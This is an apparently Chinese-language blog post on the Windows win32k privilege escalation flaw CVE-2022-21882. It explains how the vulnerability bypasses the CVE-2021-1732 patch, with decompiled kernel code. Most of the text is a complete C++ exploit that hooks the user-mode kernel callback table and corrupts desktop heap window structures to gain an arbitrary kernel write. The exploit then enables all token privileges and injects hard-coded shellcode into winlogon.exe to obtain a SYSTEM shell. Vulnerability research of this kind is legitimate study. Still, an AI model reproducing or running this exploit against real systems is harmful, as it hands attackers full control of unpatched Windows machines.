该漏洞的成因和
CVE-2021-1732
类似,如果不了解,请先阅读我之前的分析:https://blog.csdn.net/qq_41252520/article/details/119349398主要因为 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc函数会回调用户空间中的
u s e r 32 ! _ x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{user32!\_xxxClientAllocWindowClassExtraBytes} user32!_xxxClientAllocWindowClassExtraBytes,攻击者可以在此过程中设置目标窗口的 ExtraBytes指针为任意值,并且修改该指针的寻址方式为 桌面堆+偏移,以实现桌面堆的越界写。在
CVE-2021-1732
中,只有 x x x C r e a t e W i n d o w s E x \textcolor{cornflowerblue}{xxxCreateWindowsEx} xxxCreateWindowsEx函数中会调用 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc,后微软推出了针对该漏洞的补丁。后面小节会分析为什么打了补丁的 x x x C l i e n t A l l o c E x t r a B y t e s F u n c \textcolor{cornflowerblue}{xxxClientAllocExtraBytesFunc} xxxClientAllocExtraBytesFunc还会造成CVE-2022-21882
漏洞。
Windows 10 Version 21H2 for x64-based Systems
Windows 10 Version 21H2 for ARM64-based Systems
Windows 10 Version 21H2 for 32-bit Systems
Windows 11 for ARM64-based Systems
Windows 11 for x64-based Systems
Windows Server, version 20H2 (Server Core Installation)
Windows 10 Version 20H2 for ARM64-based Systems
Windows 10 Version 20H2 for 32-bit Systems
Windows 10 Version 21H1 for ARM64-based Systems
Windows 10 Version 21H1 for x64-based Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for 32-bit Systems
Windows Server 2019 (Server Core installation)
Windows Server 2019
Windows 10 Version 1809 for ARM64-based Systems
Windows 10 Version 1809 for x64-based Systems
Windows 10 Version 1809 for 32-bit Systems
Windows 10 Version 20H2 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows 10 Version 21H1 for 32-bit Systems
7.8 | 高危
【环境】win10x64_21H2 19044.1415
首 先 要 从 C V E − 2021 − 1732 的 补 丁 分 析 说 起 \textcolor{green}{首先要从CVE-2021-1732的补丁分析说起} 首先要从CVE−2021−1732的补丁分析说起
安装补丁后, x x x C r e a t e W i n d o w E x \textcolor{cornflowerblue}{xxxCreateWindowEx} xxxCreateWindowEx在调用 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes后增添了一个检查:
__int64 __fastcall xxxCreateWindowEx(int a1, wchar_t *a2, __int64 a3, __int64 a4, unsigned int a5, unsigned int a6, int a7, unsigned int a8, unsigned int a9, __int64 a10, __int64 a11, __int64 a12, __int64 a13, __int64 a14, int a15, int a16, __int64 a17)
{
...
LABLE_543:
...
goto LABEL_544;
LABEL_544:
...
xxxFreeWindow(v50);
...
goto LABEL_37;
LABEL_37:
SmartObjStackRef::~SmartObjStackRef(&v308);
SmartObjStackRef::~SmartObjStackRef(&v303);
return 0i64;
...
cbExtraBytes = *(unsigned int *)(*((_QWORD *)v50 + 5) + 0xC8i64);
if ( !(_DWORD)cbExtraBytes )
goto LABEL_211;
ExtraBytes = xxxClientAllocWindowClassExtraBytes(cbExtraBytes);// 易受攻击的函数
v405 = ExtraBytes;
if ( !ExtraBytes )
{
v301 = 2;
if ( *((_DWORD *)v50 + 2) != 1 )
goto LABEL_542;
goto LABEL_197;
}
if ( (unsigned int)IsWindowBeingDestroyed((__int64)v50)
|| *(_BYTE *)(_HMPheFromObject(v96) + 0x19) & 1
|| (v352 = 0i64, tagWND::RedirectedFieldpExtraBytes::operator!=((__int64)v50 + 0x140, &v352)) )// tagWND->ExtraBytes != 0
{
LABEL_542:
v121 = v301;
goto LABEL_543;
}
tagWND_1 = *((_QWORD *)v50 + 5);
if ( *(_DWORD *)(tagWND_1 + 0xE8) & 0x800 )
{
MicrosoftTelemetryAssertTriggeredNoArgsKM();
tagWND_1 = v306[5];
}
*(_QWORD *)(tagWND_1 + 0x128) = ExtraBytes;
}
__int64 __fastcall xxxSwitchWndProc(struct tagWND *a1, int a2, unsigned __int64 a3, __int64 a4)
{
...
*((_QWORD *)v7 + 0x23) = v15;
*(_DWORD *)(*(_QWORD *)v8 + 0xFCi64) = v14;
cbExtraBytes = *(unsigned int *)(*(_QWORD *)v8 + 0xC8i64);
v28 = cbExtraBytes;
if ( (_DWORD)cbExtraBytes )
{
ret = (void *)xxxClientAllocWindowClassExtraBytes((unsigned int)cbExtraBytes);
if ( !ret )
return 0i64;
}
else
{
ret = 0i64;
}
if ( tagWND::RedirectedFieldpExtraBytes::operator bool((__int64)v7 + 0x140) )// tagWND->ExtraBytes != NULL
{
if ( ret )
memmove(
ret,
(const void *)(*(_QWORD *)(*(_QWORD *)v8 + 0x128i64) + *(unsigned int *)(*(_QWORD *)v8 + 0xFCi64)),
cbExtraBytes);
tagWND = *((_QWORD *)v7 + 5);
ExtraBytes = *(_QWORD *)(tagWND + 0x128);
*(_QWORD *)(tagWND + 0x128) = ret;
*(_DWORD *)(*((_QWORD *)v7 + 5) + 0xC8i64) = cbExtraBytes;
xxxClientFreeWindowClassExtraBytes((__int64)v7, ExtraBytes);
}
...
}
@line:8 当被切换的目标窗口的 cbExtraBytes大于 0时,就会调用易受攻击的函数
x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes为窗口分配额外内存,后面却没有检查窗口的 ExtraBytes在用户层回调过程中是否遭到修改。因此,同样的问题又发生了!并且这个漏洞更容易利用,因为窗口已经创建完毕,我们可以轻松拿到窗口的句柄。
需要注意的是,当分配了额外内存,并拷贝完数据后,就会释放掉额外内存。 @line:29
整个利用过程可以用一张图来表示
首先应用层可以通过调用 N t U s e r M e s s a g e C a l l \textcolor{cornflowerblue}{NtUserMessageCall} NtUserMessageCall函数触发内核层的 x x x S w i t c h W n d P r o c \textcolor{cornflowerblue}{xxxSwitchWndProc} xxxSwitchWndProc函数,接着就会调用到易受攻击的函数 x x x C l i e n t A l l o c W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{xxxClientAllocWindowClassExtraBytes} xxxClientAllocWindowClassExtraBytes。我们事先在应用层 Hook相应的回调函数,然后就是调用函数 N t U s e r C o n s o l e C o n t r o l \textcolor{cornflowerblue}{NtUserConsoleControl} NtUserConsoleControl修改 tagWND_Trigger的 ExtraBytes内存寻址方式为 桌面堆+偏移,然后调用函数 N t C a l l b a c k R e t u r n \textcolor{cornflowerblue}{NtCallbackReturn} NtCallbackReturn将受害者窗口相对于桌面堆的偏移 tagWND_Victim offset设置为 t a g W N D _ T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND\_Trigger->ExtraBytes} tagWND_Trigger−>ExtraBytes。
还要 Hook应用层的 U s e r 32 ! _ x x x C l i e n t F r e e W i n d o w C l a s s E x t r a B y t e s \textcolor{cornflowerblue}{User32!\_xxxClientFreeWindowClassExtraBytes} User32!_xxxClientFreeWindowClassExtraBytes,使其不释放 t a g W N D _ T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND\_Trigger->ExtraBytes} tagWND_Trigger−>ExtraBytes,保证进一步的漏洞利用能够顺利进行。
触发漏洞的窗口(hTrigger)和受害者窗口(hVictim)在内存上的布局应遵循下图所示的方式:
hVictim在内存地址低处,hTrigger在内存地址高处。通过前一张图中的漏洞利用流程,修改 hTrigger的 t a g W N D − > F l a g s ∣ = 0 x 800 \textcolor{orange}{tagWND->Flags\ |=\ 0x800} tagWND−>Flags ∣= 0x800,并设置 tagWND_Victim相对于桌面堆的偏移为 t a g W N D T r i g g e r − > E x t r a B y t e s \textcolor{orange}{tagWND_Trigger->ExtraBytes} tagWNDTrigger−>ExtraBytes,然后对 hWndTrigger调用 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong系列的函数,越界修改 t a g W N D _ V i c t i m − > E x t r a B y t e s \textcolor{orange}{tagWND\_Victim->ExtraBytes} tagWND_Victim−>ExtraBytes为任意内存,再对 hWndVictim调用 S e t W i n d o w L o n g \textcolor{cornflowerblue}{SetWindowLong} SetWindowLong系列的函数便可实现任意内存写。
获得任意内核地址写之后,我们可以修改当前进程的 T o k e n − > P r i v i l e g e s \textcolor{orange}{Token->Privileges} Token−>Privileges,开启全部权限,然后注入 shellcode到 winlong.exe获得一个系统用户的 shell。
最后不要忘了恢复 t a g W N D _ V i c t i m − > E x t r a B y t e s \textcolor{orange}{tagWND\_Victim->ExtraBytes} tagWND_Victim−>ExtraBytes和 t a g W N D T r i g g e r − > F l a g s \textcolor{orange}{tagWND_Trigger->Flags} tagWNDTrigger−>Flags,避免系统 BSOD。
#include
#include
#include
#include
#pragma comment(lib, "Psapi.lib ")
#define KERNEL_CALLBACK_TABLE_OFFSET 0x58
#define TRIGGERWND_EXTRASIZE 0xABCD
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#pragma pack(1)
typedef struct
{
ULONG64 hWnd; // + 0x00
ULONG64 OffsetToDesktopHeap; // + 0x08
ULONG64 state; // + 0x10
DWORD dwExStyle; // + 0x18
DWORD dwStyle; // + 0x1C
BYTE padd1[0xa8];
ULONG64 cbWndExtra; // + 0xC8
BYTE padd2[0x18];
DWORD dwExtraFlag; // + 0xE8
BYTE padd3[0x3c];
ULONG64 pExtraBytes; // + 0x128
}tagWNDK,*PWND;
#pragma pack(0)
typedef struct _SYSTEM_HANDLE
{
PVOID Object;
HANDLE UniqueProcessId;
HANDLE HandleValue;
ULONG GrantedAccess;
USHORT CreatorBackTraceIndex;
USHORT ObjectTypeIndex;
ULONG HandleAttributes;
ULONG Reserved;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;
typedef struct _SYSTEM_HANDLE_INFORMATION_EX
{
ULONG_PTR HandleCount;
ULONG_PTR Reserved;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION_EX, * PSYSTEM_HANDLE_INFORMATION_EX;
enum SYSTEM_INFORMATION_CLASS {
SystemExtendedHandleInformation = 64
};
using NtUserMessageCall_t = NTSTATUS(*)(
HWND hWnd,
UINT Msg,
WPARAM wParam,
LPARAM lParam,
ULONG_PTR ResultInfo,
DWORD dwType,
BOOL bAnsi);
using ZwQuerySystemInformation_t = NTSTATUS(*)(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength);
using RtlAllocateHeap_t = PVOID(*)(PVOID HeapHandle, ULONG Flags, SIZE_T Size);
using xxxClientAllocWindowClassExtraBytes_t = NTSTATUS(*)(PDWORD Length);
using xxxClientFreeWindowClassExtraBytes_t = NTSTATUS(*WINAPI)(PVOID* pInfo);
using NtUserConsoleControl_t = NTSTATUS(__fastcall*)(DWORD64, LPVOID, DWORD);
using NtCallbackReturn_t = NTSTATUS(__fastcall*)(LPVOID, DWORD, NTSTATUS);
using HMValidateHandle_t = tagWNDK*(__fastcall*)(HANDLE, UINT);
using IsMenu_t = BOOL(*)(HMENU hMenu);
namespace gb {
xxxClientAllocWindowClassExtraBytes_t xxxClientAllocWindowClassExtraBytes = 0;
xxxClientFreeWindowClassExtraBytes_t xxxClientFreeWindowClassExtraBytes = 0;
NtUserConsoleControl_t NtUserConsoleControl = 0;
NtCallbackReturn_t NtCallbackReturn = 0;
HMValidateHandle_t HMValidateHandle = 0;
NtUserMessageCall_t NtUserMessageCall = 0;
ZwQuerySystemInformation_t ZwQuerySystemInformation = 0;
RtlAllocateHeap_t RtlAllocateHeap = 0;
IsMenu_t u32_IsMenu = 0;
HMODULE g_hNtdll = 0;
HMODULE g_hWin32u = 0;
HMODULE g_hUser32 = 0;
HWND g_hTriggerWnd = 0;
HWND g_hVictimWnd = 0;
DWORD64 TriggerDeskHeap = 0;
DWORD64 VictimDeskHeap = 0;
HANDLE hToken = 0;
};
VOID SetFuncHook(DWORD64 newAllocFunc,DWORD64 newFreeFunc) {
//1.获取本进程的PEB
DWORD64 ulCurrPEB = __readgsqword(0x60);
printf("[+] Found ulCurrPEB = 0x%p\n", ulCurrPEB);
//2.找到KernelCallbackTable
DWORD64 KernelCallbackTable = ulCurrPEB + KERNEL_CALLBACK_TABLE_OFFSET;
KernelCallbackTable = *(PDWORD64)KernelCallbackTable;
printf("[+] Found KernelCallbackTable = 0x%p\n", KernelCallbackTable);
DWORD64 xxxClientAllocExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8);
printf("[+] Found xxxClientAllocExtraBytesFunc = 0x%p\n", xxxClientAllocExtraBytesFunc);
gb::xxxClientAllocWindowClassExtraBytes = (xxxClientAllocWindowClassExtraBytes_t)xxxClientAllocExtraBytesFunc;
DWORD64 xxxClientFreeExtraBytesFunc = *(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8);
printf("[+] Found xxxClientFreeExtraBytesFunc = 0x%p\n", xxxClientFreeExtraBytesFunc);
gb::xxxClientFreeWindowClassExtraBytes = (xxxClientFreeWindowClassExtraBytes_t)xxxClientFreeExtraBytesFunc;
//3.HOOK
//首先需要设置页面可写属性
DWORD dwOldProtect;
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7B * 8) = newAllocFunc;
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7B * 8), 0x300, dwOldProtect, &dwOldProtect);
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, PAGE_EXECUTE_READWRITE, &dwOldProtect);
*(PDWORD64)((DWORD64)KernelCallbackTable + 0x7C * 8) = newFreeFunc;
VirtualProtect((LPVOID)((DWORD64)KernelCallbackTable + 0x7C * 8), 0x300, dwOldProtect, &dwOldProtect);
}
NTSTATUS WINAPI ClientFreeWindowsClassExtraBytesProxy(PVOID* pInfo) {
PWND pwnd = (PWND)pInfo[0];
if (pwnd->cbWndExtra == TRIGGERWND_EXTRASIZE)
return 1;
return gb::xxxClientFreeWindowClassExtraBytes(pInfo);
}
NTSTATUS WINAPI ClientAllocatWindowClassExtraBytesProxy(PDWORD size) {
if (*size==TRIGGERWND_EXTRASIZE) {
//获取窗口句柄
//使用NtUserConsoleControl 将目标窗口的寻址模式修改为DesktopHeap+Offset
printf("[+] ClientAllocatWindowClassExtraBytesProxy called! Offset = %p\n\n", gb::VictimDeskHeap);
gb::NtUserConsoleControl(6, &gb::g_hTriggerWnd, 0x10);
//修改hWndTriggle 的 tagWnd->ExtraBytes 为 hTriggerWnd的桌面堆
DWORD64 ulResult = gb::VictimDeskHeap ;
return gb::NtCallbackReturn(&ulResult, 24, 0);
}
return gb::xxxClientAllocWindowClassExtraBytes(size);
}
LRESULT __fastcall WindowProc(HWND a1, UINT a2, WPARAM a3, LPARAM a4)
{
if (a2 != 2)
return DefWindowProcW(a1, a2, a3, a4);
PostQuitMessage(0);
return 0;
}
bool CheckPrivilege(HANDLE TokenHandle)
{
BOOL isPrivilegeSet = FALSE;
PRIVILEGE_SET privSet;
LUID_AND_ATTRIBUTES Privileges[1];
LookupPrivilegeValue(NULL, "SeDebugPrivilege", &(Privileges[0].Luid));
Privileges[0].Attributes = 0;
privSet.PrivilegeCount = 1;
privSet.Control = PRIVILEGE_SET_ALL_NECESSARY;
memcpy(privSet.Privilege, Privileges, sizeof(Privileges));
PrivilegeCheck(TokenHandle, &privSet, &isPrivilegeSet);
return isPrivilegeSet;
}
DWORD getProcessId(const char* name)
{
DWORD aProcesses[1024], cbNeeded, cProcesses;
unsigned int i;
if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
{
printf("[Error_%d] EnumProcess failed...\n", __LINE__);
exit(0);
}
// Calculate how many process identifiers were returned.
cProcesses = cbNeeded / sizeof(DWORD);
// Print the name and process identifier for each process.
for (i = 0; i < cProcesses; i++)
{
if (aProcesses[i] != 0)
{
DWORD processID = aProcesses[i];
CHAR szProcessName[MAX_PATH] = "";
// Get a handle to the process.
HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
PROCESS_VM_READ,
FALSE, processID);
// Get the process name.
if (NULL != hProcess)
{
HMODULE hMod;
DWORD cbNeeded;
if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
&cbNeeded))
{
GetModuleBaseNameA(hProcess, hMod, szProcessName,
sizeof(szProcessName) / sizeof(TCHAR));
}
}
// Print the process name and identifier.
if (!lstrcmpA(szProcessName, name))
{
CloseHandle(hProcess);
return (processID);
}
// Release the handle to the process.
CloseHandle(hProcess);
}
}
return 0;
}
void SpawnShell() {
HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
PVOID pLibRemote;
HMODULE hKernel32 = GetModuleHandleA("Kernel32");
DWORD processID;
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51" \
"\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0" \
"\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed" \
"\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88" \
"\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44" \
"\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" \
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44" \
"\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49" \
"\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a" \
"\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41" \
"\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00" \
"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b" \
"\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff" \
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47" \
"\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64\x2e\x65" \
"\x78\x65\x00";
if ((processID = getProcessId("winlogon.exe")) == 0)
{
printf("[Error_%d] Couldn't retrieve process ID...\n", __LINE__);
return;
}
printf("[+] Retrieved process id: %d\n", processID);
hSystemProcess = OpenProcess(GENERIC_ALL, false, processID);
if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
{
printf("[Error_%d] Couldn't open system process...\n", __LINE__);
return;
}
printf("[+] Got a handle on a system Process: %08p\n", hSystemProcess);
pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pLibRemote)
{
printf("[Error_%d] Virtual alloc failed !\n", __LINE__);
return;
}
printf("[+] Allocation in system process succeded with address %08p\n", pLibRemote);
if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
{
printf("[Error_%d] WriteProcessMemory failed !\n", __LINE__);
return;
}
HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);
printf("[+] Writing in system process succeded\n");
if (hThread == NULL) {
printf("[Error_%d] CreateRemoteThread failed !\n", __LINE__);
return;
}
else
printf("[+] Remote thread created !\n");
CloseHandle(hSystemProcess);
}
ULONG64 GetToken() {
PSYSTEM_HANDLE_INFORMATION_EX sys_handle_info_ref = NULL;
ULONG64 Token = 0;
ULONG len = 20;
NTSTATUS ntst = 0;
OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &gb::hToken);
if (gb::hToken == INVALID_HANDLE_VALUE) {
printf("[Error_%d] GetToken(): OpenProcessToken failed.\n", __LINE__);
return 0;
}
//获取本进程的EPROCESS
do {
len *= 2;
sys_handle_info_ref = (PSYSTEM_HANDLE_INFORMATION_EX)realloc(sys_handle_info_ref, len);
ntst = gb::ZwQuerySystemInformation(
(SYSTEM_INFORMATION_CLASS)SystemExtendedHandleInformation, sys_handle_info_ref, len, &len);
} while (ntst == STATUS_INFO_LENGTH_MISMATCH);
if (ntst != 0) {
printf("[Error_%d] GetToken(): ZwQuerySystemInformation failed.\n", __LINE__);
if (sys_handle_info_ref)
free(sys_handle_info_ref);
return 0;
}
DWORD pid = GetCurrentProcessId();
for (int i = 0; i < sys_handle_info_ref->HandleCount; i++) {
if (gb::hToken == sys_handle_info_ref->Handles[i].HandleValue
&& (HANDLE)pid == sys_handle_info_ref->Handles[i].UniqueProcessId) {
Token = (ULONG64)sys_handle_info_ref->Handles[i].Object;
break;
}
}
if (sys_handle_info_ref)
free(sys_handle_info_ref);
printf("[+] Found current process token = %p\n", Token);
return Token;
}
BOOLEAN Init() {
BOOLEAN bRet = TRUE;
int offset = 0;
DWORD64 next_code = 0;
__try {
gb::g_hUser32 = LoadLibraryA("user32.dll");
if (!gb::g_hUser32) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
//获取u32_IsMenu
gb::u32_IsMenu = (IsMenu_t)GetProcAddress(gb::g_hUser32, "IsMenu");
if (!gb::u32_IsMenu) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
for (int i = 0; i < 0x100; i++) {
PUCHAR tr = (PUCHAR)gb::u32_IsMenu + i;
if (*tr == 0xE8)
{//找到调用HMValidateHandle的指令位置
offset = *(int*)((PCHAR)gb::u32_IsMenu + i + 1);
next_code = (DWORD64)gb::u32_IsMenu + i + 5;
gb::HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
break;
}
}
if (!gb::HMValidateHandle) {
printf("[!] Error: Can not find HMValidateHandle!\n");
bRet = FALSE;
__leave;
}
printf("[+] Found HMValidateHandle = 0x%p\n", gb::HMValidateHandle);
gb::g_hNtdll = LoadLibraryA("ntdll.dll");
if (!gb::g_hNtdll) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
gb::g_hWin32u = LoadLibraryA("win32u.dll");
if (!gb::g_hWin32u) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
gb::NtCallbackReturn = (NtCallbackReturn_t)GetProcAddress(gb::g_hNtdll, "NtCallbackReturn");
gb::NtUserMessageCall = (NtUserMessageCall_t)GetProcAddress(gb::g_hWin32u, "NtUserMessageCall");
gb::NtUserConsoleControl = (NtUserConsoleControl_t)GetProcAddress(gb::g_hWin32u, "NtUserConsoleControl");
gb::ZwQuerySystemInformation = (ZwQuerySystemInformation_t)GetProcAddress(gb::g_hNtdll, "NtQuerySystemInformation");
gb::RtlAllocateHeap = (RtlAllocateHeap_t)GetProcAddress(gb::g_hNtdll, "RtlAllocateHeap");
if (gb::NtCallbackReturn==0 || gb::NtUserMessageCall==0 ||
gb::NtUserConsoleControl==0 || gb::ZwQuerySystemInformation==0 ||
gb::RtlAllocateHeap==0) {
printf("[!] Error: %d, Code = 0x%p", __LINE__, GetLastError());
bRet = FALSE;
__leave;
}
}
__finally {
}
return bRet;
}
int main(int argc,char *argv[]) {
if (argc <= 1) {
printf(
"Usage:\n"
" Example: CVE-2022-21882.exe whoami\n"
);
return 0;
}
WNDCLASSEXW WndClassExW = { 0 };
ULONG64 TokenAddr = 0;
if (Init()) {
TokenAddr = GetToken();
if (TokenAddr == 0) {
printf("[-] Error(%u): GetToken failed.\n");
return 0;
}
WndClassExW.hIcon = 0;
WndClassExW.hbrBackground = 0;
WndClassExW.lpszClassName = 0;
WndClassExW.lpfnWndProc = (WNDPROC)WindowProc;
WndClassExW.cbSize = sizeof(WNDCLASSEXW);
WndClassExW.style = CS_VREDRAW | CS_HREDRAW;;
WndClassExW.cbClsExtra = 0;
WndClassExW.cbWndExtra = 0x60;
WndClassExW.hInstance = GetModuleHandleW(0);
WndClassExW.lpszClassName = L"VictimClass";
//被覆盖写
ATOM atom_vic = RegisterClassExW(&WndClassExW);
WndClassExW.cbWndExtra = TRIGGERWND_EXTRASIZE;
WndClassExW.lpszClassName = L"TriggerClass";
//触发漏洞
ATOM atom_trig = RegisterClassExW(&WndClassExW);
gb::g_hVictimWnd = CreateWindowExW(NULL,
(LPCWSTR)(unsigned __int16)atom_vic,
L"VictimWnd",
NULL,
0,
0,
0,
0,
0,
0,
GetModuleHandleW(0),
0);
printf("[+] Created victim windows = 0x%p\n", gb::g_hVictimWnd);
gb::g_hTriggerWnd = CreateWindowExW(NULL,
(LPCWSTR)(unsigned __int16)atom_trig,
L"TriggerBug",
NULL,
0,
0,
0,
0,
0,
0,
GetModuleHandleW(0),
0);
printf("[+] Created trigger windows = 0x%p\n", gb::g_hTriggerWnd);
// 触发漏洞
// 获取刚创建的这两个窗口的桌面堆
PWND Trigger= gb::HMValidateHandle(gb::g_hTriggerWnd, 1);
gb::TriggerDeskHeap = Trigger->OffsetToDesktopHeap;
printf("[+] TriggerDeskHeap's tagWND = 0x%p\n", Trigger);
PWND Victim = gb::HMValidateHandle(gb::g_hVictimWnd, 1);
gb::VictimDeskHeap = Victim->OffsetToDesktopHeap;
DWORD64 Distance = 0;
if (gb::VictimDeskHeap> gb::TriggerDeskHeap) {
Distance=gb::VictimDeskHeap - gb::TriggerDeskHeap;
}
else {
Distance = gb::TriggerDeskHeap - gb::VictimDeskHeap;
}
if (Distance >= TRIGGERWND_EXTRASIZE) {
printf("[-] Heap spray failed!\n");
return 0;
}
printf("[+] VictimDeskHeap's tagWND = 0x%p\n", Victim);
printf("[+] TriggerDeskHeap = %p\n", gb::TriggerDeskHeap);
printf("[+] VictimDeskHeap = %p\n", gb::VictimDeskHeap);
// 代理回调函数
SetFuncHook((DWORD64)ClientAllocatWindowClassExtraBytesProxy,(DWORD64)ClientFreeWindowsClassExtraBytesProxy);
// 触发漏洞
gb::NtUserMessageCall(gb::g_hTriggerWnd, WM_CREATE,0,0, NULL, 0, FALSE);
// 修改 tagWND_victim->ExtraBytes = TokenAddr
ULONG_PTR Old = SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128+0x10, TokenAddr+0x40);
// 修改 Token->Privileges.Enabled = 0xFFFFFFFFFFFFFFFF
SetWindowLongPtrW(gb::g_hVictimWnd, 8, 0xFFFFFFFFFFFFFFFF);
// 修改 Token->Privileges.Present = 0xFFFFFFFFFFFFFFFF
SetWindowLongPtrW(gb::g_hVictimWnd, 0, 0xFFFFFFFFFFFFFFFF);
if (CheckPrivilege(gb::hToken)) {
SpawnShell();
}
else {
printf("[+] 提权失败!\n");
}
// 恢复 tagWND_Victim->ExtraBytes = Old
SetWindowLongPtrW(gb::g_hTriggerWnd, 0x128 + 0x10, Old);
// 恢复 tagWND_Trigger->Styles &= ~0x800
SetWindowLongPtrW(gb::g_hTriggerWnd, Distance + 0xE8 + 0x10, Trigger->dwExStyle);
system("pause");
}
return 0;
}
[1] https://www.anquanke.com/post/id/272305#h3-6